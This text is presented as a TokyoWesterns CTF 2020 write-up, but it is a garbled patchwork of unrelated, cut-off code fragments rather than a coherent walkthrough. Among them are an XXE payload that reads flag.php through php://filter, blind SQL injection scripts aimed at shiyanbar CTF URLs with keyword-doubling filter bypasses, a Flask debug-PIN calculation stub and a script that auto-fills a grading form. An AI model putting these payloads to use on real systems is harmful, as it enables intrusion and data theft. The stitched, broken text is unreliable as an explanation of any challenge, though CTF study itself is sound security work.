tinmin Imtinmin

TokyoWesterns CTF 2020 | writeups by @terjanq

The goal was to bypass WAF protection to access local resources.

app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')

def valid_ip(ip):
 matches = app.re_ip.match(ip)

	import javax.swing.*;
	import java.awt.event.*;
	import java.io.*;
	import java.net.*;
	import java.util.logging.*;
	import java.lang.*;

	public class ServerMain extends javax.swing.JFrame implements Runnable{
	private JPanel panel1;
	private JButton startButton;

	import hashlib
	from itertools import chain
	import requests

	probably_public_bits = [
	'ctf',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/usr/local/lib/python3.6/site-packages/flask/app.py' # getattr(mod, '__file__', None),
	]

	var num = [2,3,4,5,6,7,8,9,10,11,12,13,14,15,16];
	for(var i=0;i<num.length;i++)
	{
	var opts = document.getElementById("DataGrid1__ctl"+num[i]+"_JS1").getElementsByTagName("option");
	for (var j=0; j<opts.length; j++){
	if (opts[j].value=="优"){
	opts[j].selected=true;
	}
	}
	}

	<?xml version="1.0"?>
	<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >]>
	<root>
	<glossary>
	<title>example glossary</title>
	<GlossDiv>
	<title>S</title>
	<GlossList>
	<GlossEntry>
	<ID>SGML</ID>

	import requests

	url = "http://ctf5.shiyanbar.com/web/index_3.php"


	def length(sql):
	for i in range(50):
	payload = "0' or if(length(({}))={},'1',null)='1".format(sql,i)
	tmp = {
	'id':payload

	import requests
	import string

	url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
	dic = string.ascii_letters + string.digits + '!_{}@~.'

	def payload(sql):
	return sql.replace(' ',chr(0x0a)).replace('or','oorr')

	def foo():

	<?php
	//__call方法
	namespace app\web\controller;

	class Profile{
	}

	class Register{}

	$a = new Register();